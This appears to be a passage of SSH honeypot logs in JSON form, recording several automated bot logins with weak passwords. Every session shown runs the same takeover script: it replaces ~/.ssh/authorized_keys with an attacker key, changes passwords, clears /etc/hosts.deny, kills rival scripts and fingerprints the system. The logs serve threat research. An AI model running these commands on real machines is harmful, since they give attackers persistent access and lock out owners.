1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:48:10.326448+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:48:10.876147+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:48:11.173254+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:48:11.883133+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:48:12.183407+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:48:13.023355+00:00","kind":"output","latency_ms":null,"data":"cps"},{"seq":29,"at":"2026-08-27T12:48:13.322607+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:48:14.712610+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:48:15.013868+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:48:17.022602+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cps","password":"cps123","method":"password","accepted":true,"tier":"other"}]} {"id":"2be61374-7157-471c-8912-bee3a0601c04","name":"prairie-whispering-owl","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59854,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":446,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:47:57.972467+00:00","ended_at":"2026-08-27T12:47:59.174021+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:47:37.819111+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:47:38.263183+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:47:42.120134+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:47:42.760367+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:47:43.206122+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Ph4Zi15JGXvu\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:47:43.651232+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:47:44.098031+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:47:44.470196+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:47:44.917315+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:47:46.119493+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:47:46.566872+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:47:47.732413+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:47:48.180257+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:47:48.537822+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:47:48.983687+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:47:49.621037+00:00","kind":"output","latency_ms":null,"data":" 12:47:49 up 7 days, 9:37, 0 user, load average: 0.14, 0.13, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:47:50.067647+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:47:50.605167+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:47:51.051948+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:47:51.690805+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:47:52.136881+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:47:52.685405+00:00","kind":"output","latency_ms":null,"data":"top - 12:47:52 up 7 days, 9:37, 0 user, load average: 0.14, 0.13, 0.17\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:47:53.132289+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:47:53.990048+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:47:54.442401+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:47:54.943472+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:47:55.395362+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:47:55.896629+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:47:56.345059+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:47:57.527266+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:47:57.973267+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:47:59.042075+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"abc@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"a91607e8-e524-40e0-9e00-a167432f342e","name":"sullen-marine-impala","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":41434,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":347,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:47:51.603044+00:00","ended_at":"2026-08-27T12:47:53.744422+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:47:32.510468+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:47:33.133610+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:47:36.559873+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:47:36.812421+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:47:37.158484+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ywYCiJ3Lfkjr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:47:37.505218+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:47:37.852375+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:47:39.368636+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:47:39.715838+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:47:41.126443+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:47:41.478909+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:47:42.279705+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:47:42.627121+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:47:43.297112+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:47:43.643826+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:47:44.504751+00:00","kind":"output","latency_ms":null,"data":" 12:47:44 up 7 days, 9:37, 0 user, load average: 0.06, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:47:44.851208+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:47:45.210078+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:47:45.557961+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:47:45.926592+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:47:46.274387+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:47:47.034250+00:00","kind":"output","latency_ms":null,"data":"top - 12:47:47 up 7 days, 9:37, 0 user, load average: 0.06, 0.07, 0.05\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:47:47.382863+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:47:48.006793+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:47:48.354105+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:47:49.052687+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:47:49.401613+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:47:49.755183+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:47:50.101457+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:47:51.256659+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:47:51.603819+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:47:53.639805+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"root2024@","method":"password","accepted":true,"tier":"other"}]} {"id":"bcb3156c-dcdd-4d14-99f9-61451f6e2656","name":"smoky-lucid-gadwall","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":44914,"username":"ansible","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:46:06.093448+00:00","ended_at":"2026-08-27T12:46:08.345573+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2260,"events":[{"seq":1,"at":"2026-08-27T12:45:49.327446+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:45:49.622234+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:45:52.560912+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:45:53.303685+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:45:53.600111+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Password1\\nMaxsBDniIhp5\\nMaxsBDniIhp5\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:45:53.894845+00:00","kind":"input","latency_ms":null,"data":"echo \"Password1\\nMaxsBDniIhp5\\nMaxsBDniIhp5\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:45:54.190492+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:45:54.711395+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:45:55.004753+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:45:55.949134+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:45:56.244187+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:45:57.493406+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:45:57.790991+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:45:58.233837+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:45:58.529987+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:45:58.979019+00:00","kind":"output","latency_ms":null,"data":" 12:45:58 up 7 days, 9:36, 0 user, load average: 0.07, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:45:59.275025+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:45:59.949171+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:46:00.244234+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:46:00.802552+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:46:01.099156+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:46:01.379010+00:00","kind":"output","latency_ms":null,"data":"top - 12:46:01 up 7 days, 9:36, 0 user, load average: 0.07, 0.07, 0.05\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:46:01.676290+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:46:02.369961+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:46:02.666295+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:46:03.524215+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:46:03.821059+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:46:04.489089+00:00","kind":"output","latency_ms":null,"data":"ansible"},{"seq":29,"at":"2026-08-27T12:46:04.785276+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:46:05.787325+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:46:06.094453+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:46:08.255726+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ansible","password":"Password1","method":"password","accepted":true,"tier":"other"}]} {"id":"5559e721-6a86-4e90-bdf4-92487a3505ca","name":"salty-murky-fossa","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":55536,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:45:53.445340+00:00","ended_at":"2026-08-27T12:45:55.408876+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:45:28.295128+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:45:28.622965+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:45:32.419915+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:45:34.504039+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:45:34.833237+00:00","kind":"input","latency_ms":null,"data":"echo \"root:D8eZBoln4LHV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:45:35.161039+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:45:35.487830+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:45:36.849490+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:45:36.897323+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:45:37.178209+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T12:45:39.047620+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T12:45:39.379625+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T12:45:40.876622+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T12:45:41.208040+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T12:45:43.345245+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T12:45:43.673357+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T12:45:45.312953+00:00","kind":"output","latency_ms":null,"data":" 12:45:45 up 7 days, 9:35, 0 user, load average: 0.34, 0.42, 0.4\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T12:45:45.643019+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T12:45:46.771322+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T12:45:47.100930+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T12:45:47.768289+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T12:45:48.092769+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T12:45:48.345632+00:00","kind":"output","latency_ms":null,"data":"top - 12:45:48 up 7 days, 9:35, 0 user, load average: 0.34, 0.42, 0.4\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T12:45:48.671840+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T12:45:49.206951+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T12:45:49.532936+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T12:45:50.015970+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T12:45:50.342822+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T12:45:50.632892+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T12:45:50.962272+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T12:45:53.119339+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T12:45:53.446168+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T12:45:55.312264+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"gb.123456","method":"password","accepted":true,"tier":"other"}]} {"id":"0a9c0917-4568-4ddd-b03b-9be891130aed","name":"calm-frank-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":41086,"username":"cuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1447,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:45:40.558808+00:00","ended_at":"2026-08-27T12:45:41.891143+00:00","ended_reason":"exec 